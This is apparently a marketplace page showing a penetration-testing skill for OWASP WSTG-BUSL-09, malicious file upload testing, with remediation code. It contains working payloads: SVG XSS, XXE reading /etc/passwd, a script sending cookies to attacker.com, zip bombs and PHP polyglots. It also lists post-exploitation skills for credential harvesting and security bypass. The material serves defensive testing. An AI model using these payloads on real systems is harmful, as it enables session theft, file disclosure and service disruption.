SOC 직업 분류 기준
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-busl-09명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
| name | wstg-busl-09 |
| description | Test Upload of Malicious Files |
| category | business-logic |
| owasp_id | WSTG-BUSL-09 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["business-logic","workflow","abuse","wstg","busl"] |
| tech_stack | [] |
| cwe_ids | ["CWE-840"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-BUSL-09
Test Upload of Malicious Files
This test examines whether the application properly scans and rejects files containing malicious content such as malware, exploits, or embedded scripts. Even if file type validation is in place, malicious content within allowed file types (e.g., macro-enabled Office documents, PDFs with JavaScript, images with embedded payloads) can pose significant risks to users who download these files or systems that process them.
| File Type | Attack Vector |
|---|---|
| DOCX/XLSX | Macros, OLE objects |
| JavaScript, embedded files | |
| SVG | JavaScript, XSS |
| XML | XXE, XSS |
| ZIP | Path traversal, zip bombs |
| Images | Steganography, polyglots |
# Use EICAR test file (industry standard test file, NOT actual malware)
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicar.txt
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@eicar.txt"
# Also test with .com extension
mv eicar.txt eicar.com
curl -s -X POST "https://target.com/api/upload" \
-H \
-F
# Create document with macro (requires Office/LibreOffice)
# Or use pre-made macro-enabled documents
# Test DOCM (macro-enabled Word)
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@document_with_macro.docm"
# Test XLSM (macro-enabled Excel)
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@spreadsheet_with_macro.xlsm"
# Test renamed extensions (docm as doc)
cp document_with_macro.docm document.doc
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@document.doc"
#!/usr/bin/env python3
# Generate PDF with JavaScript
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
from PyPDF2 import PdfWriter, PdfReader
def create_js_pdf(output_file, js_code):
"""Create PDF with embedded JavaScript"""
# Create basic PDF
c = canvas.Canvas("temp.pdf", pagesize=letter)
c.drawString(100, 750, "Test Document")
c.save()
# Add JavaScript
reader = PdfReader("temp.pdf")
writer = PdfWriter()
for page in reader.pages:
writer.add_page(page)
# Add JavaScript action
js = f"""
/S /JavaScript
/JS ({js_code})
"""
# This requires manual PDF manipulation or tools like pdftk
# For testing, use pre-made PDFs with JS
with open(output_file, "wb") as f:
writer.write(f)
# Alternative: Use existing test PDFs
# Download from security testing resources
# Test PDF with JavaScript
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@pdf_with_javascript.pdf"
# Create malicious SVG
cat > malicious.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert('XSS');
</script>
</svg>
EOF
# Upload
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@malicious.svg"
# Check if served with proper Content-Type
curl -s -I "https://target.com/uploads/malicious.svg"
# Create XXE payload
cat > xxe.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
EOF
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@xxe.xml"
# Test in document formats that use XML (DOCX, XLSX, etc.)
# DOCX is a ZIP with XML files inside
unzip -q document.docx -d doc_extracted
# Modify XML files to include XXE
# Rezip and upload
# Create zip bomb (be careful - this can crash systems)
# Small version for testing:
# Create a file with repeated content
dd if=/dev/zero of=zeros.txt bs=1M count=10
# Compress with maximum compression
zip -9 bomb.zip zeros.txt
# Nested compression (zip of zips)
for i in {1..5}; do
cp bomb.zip "layer$i.zip"
zip -9 "bomb_layer$i.zip" "layer$i.zip"
mv "bomb_layer$i.zip" bomb.zip
done
# Upload
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@bomb.zip"
# Create image with embedded PHP (polyglot)
# Start with valid GIF
echo -n 'GIF89a' > polyglot.gif.php
echo '<?php echo "test"; ?>' >> polyglot.gif.php
# Or use JPEG comment to embed code
# Using exiftool
exiftool -Comment='<?php echo "test"; ?>' image.jpg
# Upload
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@image.jpg"
# Check EXIF metadata for malicious content
curl -s -X POST "https://target.com/api/upload" \
-H "Authorization: Bearer $TOKEN" \
-F "file=@image_with_xss_in_exif.jpg"
| Tool | Description | Usage |
|---|---|---|
| EICAR | Antivirus test file | Standard detection test |
| ClamAV | Open source antivirus | Server-side scanning |
| VirusTotal API | Multi-engine scanning | Integration |
| Tool | Description |
|---|---|
| msfvenom | Metasploit payloads |
| Office-DDE-Payloads | Office exploits |
| PDF-parser | PDF analysis |
<!-- SVG XSS -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
<circle cx="50" cy="50" r="40"/>
</svg>
<!-- XXE in XML -->
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<!-- XXE in DOCX (word/document.xml) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/collect">]>
#!/usr/bin/env python3
import requests
import tempfile
import os
class MaliciousFileTester:
def __init__(self, upload_url, token):
self.url = upload_url
self.headers = {"Authorization": f"Bearer {token}"}
self.results = []
def test_eicar(self):
"""Test EICAR antivirus test file"""
eicar = b'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
for ext in ['txt', 'com', 'exe', 'zip']:
files = {'file': (f'eicar.{ext}', eicar, 'application/octet-stream')}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"EICAR .{ext}",
"status": response.status_code,
"blocked": response.status_code not in [200, 201],
"response": response.text[:200]
})
def test_svg_xss(self):
"""Test SVG with JavaScript"""
svg_payloads = [
b'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>',
b'<svg><script>alert(1)</script></svg>',
b'<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><script>alert(1)</script></foreignObject></svg>',
]
for i, payload in enumerate(svg_payloads):
files = {'file': (f'test{i}.svg', payload, 'image/svg+xml')}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"SVG XSS #{i+1}",
"status": response.status_code,
"blocked": response.status_code not in [200, 201]
})
def test_xxe(self):
"""Test XML with XXE"""
xxe_payloads = [
b'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>''',
b'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>''',
]
for i, payload in enumerate(xxe_payloads):
files = {'file': (f'test{i}.xml', payload, 'application/xml')}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"XXE #{i+1}",
"status": response.status_code,
"blocked": response.status_code not in [200, 201]
})
def test_polyglot(self):
"""Test image polyglot files"""
# GIF header + PHP
gif_php = b'GIF89a<?php echo "test"; ?>'
# JPEG with PHP in comment
# Simplified - real test would need proper JPEG structure
jpg_php = b'\xFF\xD8\xFF\xE0<?php echo "test"; ?>'
polyglots = [
(gif_php, 'polyglot.gif', 'image/gif'),
(gif_php, 'polyglot.gif.php', 'image/gif'),
(jpg_php, 'polyglot.jpg', 'image/jpeg'),
]
for content, filename, mime in polyglots:
files = {'file': (filename, content, mime)}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"Polyglot: {filename}",
"status": response.status_code,
"blocked": response.status_code not in [200, 201]
})
def test_html_as_image(self):
"""Test HTML disguised as image"""
html_content = b'''
<!DOCTYPE html>
<html>
<body>
<script>document.location='http://attacker.com/?c='+document.cookie</script>
</body>
</html>
'''
extensions = ['jpg', 'png', 'gif', 'html.jpg']
mimes = ['image/jpeg', 'image/png', 'text/html']
for ext in extensions:
for mime in mimes:
files = {'file': (f'test.{ext}', html_content, mime)}
response = requests.post(self.url, headers=self.headers, files=files)
self.results.append({
"test": f"HTML as .{ext} (MIME: {mime})",
"status": response.status_code,
"blocked": response.status_code not in [200, 201]
})
def generate_report(self):
"""Generate test report"""
print("\n=== MALICIOUS FILE UPLOAD REPORT ===\n")
blocked = [r for r in self.results if r.get("blocked")]
accepted = [r for r in self.results if not r.get("blocked")]
print(f"Total tests: {len(self.results)}")
print(f"Blocked (good): {len(blocked)}")
print(f"Accepted (potential vulnerability): {len(accepted)}")
if accepted:
print("\n--- POTENTIAL VULNERABILITIES ---")
for r in accepted:
print(f" [ACCEPTED] {r['test']}: Status {r['status']}")
print("\n--- BLOCKED ---")
for r in blocked:
print(f" [BLOCKED] {r['test']}")
# Usage
tester = MaliciousFileTester("https://target.com/api/upload", "auth_token")
tester.test_eicar()
tester.test_svg_xss()
tester.test_xxe()
tester.test_polyglot()
tester.test_html_as_image()
tester.generate_report()
import clamd
def scan_file_for_malware(file_path):
"""Scan file using ClamAV"""
try:
cd = clamd.ClamdUnixSocket()
result = cd.scan(file_path)
if result and file_path in result:
status, virus_name = result[file_path]
if status == 'FOUND':
return False, f"Malware detected: {virus_name}"
return True, None
except clamd.ConnectionError:
# Fail closed - reject if scanner unavailable
return False, "Antivirus scanner unavailable"
@app.route('/api/upload', methods=['POST'])
def upload():
file = request.files['file']
# Save to temp location
temp_path = save_temp_file(file)
# Scan for malware
safe, message = scan_file_for_malware(temp_path)
if not safe:
os.remove(temp_path)
return jsonify({"error": message}), 400
# Continue with other validations...
from oletools.olevba import VBA_Parser
def check_office_macros(file_path):
"""Check Office documents for macros"""
try:
vbaparser = VBA_Parser(file_path)
if vbaparser.detect_vba_macros():
macros = vbaparser.analyze_macros()
for m in macros:
if m[0] in ['AutoExec', 'Suspicious']:
return False, "Dangerous macro detected"
return False, "Document contains macros"
return True, None
except Exception as e:
return False, f"Error scanning document: {str(e)}"
def sanitize_office_document(file_path, output_path):
"""Remove macros from Office documents"""
# Use a library like python-docx to create clean copy
# Or use LibreOffice in headless mode to convert to clean format
pass
from defusedxml import ElementTree as ET
import re
def sanitize_svg(svg_content):
"""Remove dangerous elements from SVG"""
# Parse with defusedxml (safe from XXE)
try:
root = ET.fromstring(svg_content)
except ET.ParseError:
return None, "Invalid SVG"
# Remove script elements
for script in root.findall('.//{http://www.w3.org/2000/svg}script'):
script.getparent().remove(script)
# Remove event handlers
dangerous_attrs = [
'onload', 'onclick', 'onerror', 'onmouseover',
'onfocus', 'onblur', 'onchange', 'onsubmit'
]
for elem in root.iter():
for attr in dangerous_attrs:
if attr in elem.attrib:
del elem.attrib[attr]
# Remove foreignObject (can contain HTML)
for fo in root.findall('.//{http://www.w3.org/2000/svg}foreignObject'):
fo.getparent().remove(fo)
return ET.tostring(root, encoding='unicode'), None
def sanitize_pdf(input_path, output_path):
"""Remove JavaScript and other dangerous elements from PDF"""
from PyPDF2 import PdfReader, PdfWriter
reader = PdfReader(input_path)
writer = PdfWriter()
for page in reader.pages:
# Copy page without annotations/JavaScript
writer.add_page(page)
# Remove JavaScript
if '/JavaScript' in reader.trailer.get('/Root', {}):
# Don't copy JavaScript actions
pass
with open(output_path, 'wb') as f:
writer.write(f)
from flask import send_file
@app.route('/uploads/<filename>')
def serve_upload(filename):
# Validate filename
safe_filename = secure_filename(filename)
# Force download instead of inline display
return send_file(
os.path.join(UPLOAD_DIR, safe_filename),
as_attachment=True, # Force download
mimetype='application/octet-stream' # Generic MIME
)
# Or set CSP headers
@app.after_request
def add_security_headers(response):
if '/uploads/' in request.path:
response.headers['Content-Security-Policy'] = "default-src 'none'"
response.headers['X-Content-Type-Options'] = 'nosniff'
return response
| Finding | CVSS | Severity |
|---|---|---|
| Malware upload accepted | 9.8 | Critical |
| Macro-enabled document upload | 8.8 | High |
| SVG with JavaScript accepted | 7.5 | High |
| XXE via XML upload | 8.8 | High |
| Zip bomb accepted | 5.3 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-434 | Unrestricted Upload | Dangerous file content |
| CWE-79 | Cross-site Scripting | SVG/HTML with JS |
| CWE-611 | XXE | XML external entities |
| CWE-400 | Resource Exhaustion | Zip bombs |
[ ] EICAR test file upload tested
[ ] Macro-enabled Office documents tested
[ ] PDF with JavaScript tested
[ ] SVG with JavaScript tested
[ ] XML with XXE tested
[ ] Archive bomb tested
[ ] HTML disguised as image tested
[ ] Polyglot files tested
[ ] EXIF metadata exploits tested
[ ] Antivirus scanning implemented
[ ] Content sanitization implemented
[ ] Findings documented
[ ] Remediation recommendations provided